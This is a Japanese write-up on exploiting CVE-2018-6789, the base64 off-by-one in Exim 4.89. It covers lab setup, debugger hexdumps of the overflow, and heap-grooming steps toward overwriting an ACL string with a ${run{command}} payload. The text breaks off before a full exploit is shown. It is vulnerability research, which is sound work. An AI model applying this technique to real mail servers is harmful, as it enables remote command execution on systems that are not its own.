
依存関係をインストールする
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
旧バージョンのeximをダウンロードする
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
次にLocal/Makefileを修正する デバッグしやすいように、各フォルダが現在のディレクトリを指すようにする
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
これによりデバッグが容易になる そしてコンパイルしてインストールする
make install
./configureを修正し、以下の内容で直接上書きする
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
まずbase64.cにあるパッチを分析する:
ここでresultはbase64デコード結果を格納するバッファであり、store_get関数によって取得される
パッチ適用前のsize計算に問題があることが分かる。sizeが4n〜4n+3の範囲にある場合、計算されたsizeの長さは等しくなるが、b64decodeは4の倍数でない引数をデコードする際に1〜2バイト多くデコードしてしまう
例えば、以下のように直接送信すると
auth_md5('Hf'*42)
size=0x40
結果のメモリ配置:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
もう一度試す
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
2バイト溢れ出た
eximはパフォーマンス向上のため、既存のヒープ管理機構の上に独自のメモリ管理機構を実装している。これはコードとglibcの間にある中間バッファに相当し、mallocとfreeの回数を減らすことを目的としている
eximでは、個々のヒープチャンクはstoreblockと呼ばれ、使用時にそこから適切なサイズのバッファを分割して使用する。storeblockを使い切った場合は、再度mallocでstoreblockを取得する。
各storeblockの構造は単純な単方向リストである:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
プログラムがヒープを使用する際に主に使用するAPIはstore.cにある:
store_get
store_release
store_extend
store_reset
store_getはバッファを取得するために使用され、その主要なコードは以下の通り:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162 if (!newblock)
163 {
164 pool_malloc += mlength; /* Used in pools */
165 nonpool_malloc -= mlength; /* Exclude from overall total */
166 newblock = store_malloc(mlength);
...
毎回申請されるstore_blockの最小長さはSTORE_BLOCK_SIZE、すなわち8192であることが分かる
したがって、8192サイズのstore_blockは、その構造ヘッダとヒープチャンクヘッダを加えると合計サイズは0x2020になる

eximがクライアントから送信されたコマンドを実行するたびに、コマンドの実行が成功するとstore_resetを呼び出して、不要なキャッシュや余分なstore_blockを解放する
ここで言う実行成功には、コマンドの形式が正しいことや、メールアドレスに不正な文字が含まれていないことなどが含まれる。そうでない場合はstore_resetは呼び出されない
この脆弱性は古典的なoff-by-oneである(実際には2バイト溢れ出ることができる)。しかし、溢れ出るバイト数が少ないため、ヒープチャンク上の重要な構造を直接上書きすることはできない。そこで、ptmallocのいくつかの特性を利用してこの脆弱性の影響を拡大し、より広範囲のoverflow、あるいはoverlapに変換する必要がある。
off-by-oneの脆弱性に対する古典的な悪用方法として、chunk enlarge -> chunk overlapがある。ヒープチャンクのsizeを大きく変更し、偽のヒープヘッダを偽造してglibcのsanity checkをバイパスすることで、ヒープチャンクの重なりを引き起こし、より広範囲の上書きを実現する。
ここでの主なプロセスは、chunk enlarge -> chunk overlap -> storeblock内のnextポインタの破壊、そしてstore_resetをトリガーして任意のヒープチャンクのfreeを引き起こすことである。再度このチャンクを申請できれば、その内容を変更できる(type confusion)。
mehは記事の中で、ACL文字列が存在するヒープチャンクの改変を推奨している。ACL文字列の処理にはコマンド実行機能が存在するためだ。 ACLの文字列は非常に多いが、ほとんどはNULLである(おそらく設定ファイルに関係している)。ここではacl_smtp_mail文字列を選択した。そのコマンド実行の構文は以下の通り
${run{command}}
おおよそのヒープレイアウトは以下の通り

最初のチャンクはbase64デコードで得られるチャンクで、off-by-oneに使用される。そのため、storeblockの末尾に位置する必要がある。便宜上、ここではbase64デコード結果を格納するために0x2020より大きいチャンクを直接申請する;
2番目のチャンクはsender_helo_nameで、次のチャンクを上書きするために使用される。sender_helo_nameはstoreblockに格納されるのではなく、直接mallocされる:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
したがって、サイズは任意でよい。 3番目のチャンクはbase64デコードで得られるチャンクで、主にヘッダの偽造と上書きに使用される。そのため、storeblockの先頭部分に位置する必要がある。便宜上、こちらも0x2020サイズを直接申請する。
私のexpも、ネット上で公開されている他の人の分析に従って一歩ずつ作成したものである。大まかな方針は同じだが、ヒープのレイアウトが他の人とは少し異なるため、細かいパラメータもいくつか異なっている。
まず、サイズ0x6060のunsortedbinを生成する。以下のコマンドだけで実現できる
ehlo('a'*0x1000)
eximが"EHLO "+'a'*0x1000を受信すると、match.cのmatch_check_list関数で以下の3つの文字列が生成される
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
ここでnameは'a'*0x1000である
nameの長さは0x1000なので、各文字列は1つのstoreblockを個別に占有する。これら3つの文字列は、連続した3つのstoreblockにそれぞれ配置される eximがehloコマンドを正常に完了すると、smtp_in.cのsmtp_setup_msgで前述の3つの文字列が解放され、0x6060サイズのヒープチャンクが得られる:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
このときのヒープレイアウトは以下の通り:

sender_helo_nameをヒープチャンクの中央に配置するために、元のsender_helo_nameを解放し、次に上部のヒープチャンクをプレースホルダで占有する必要がある。2番目のsender_helo_nameが配置されたら、上部のヒープチャンクを解放する。
ここではプレースホルダにunrecognizeコマンドを使用している。unrecognizeコマンドを受信することはコマンド実行の失敗に相当し、次のコマンド実行が成功した後で自動的に解放されるためである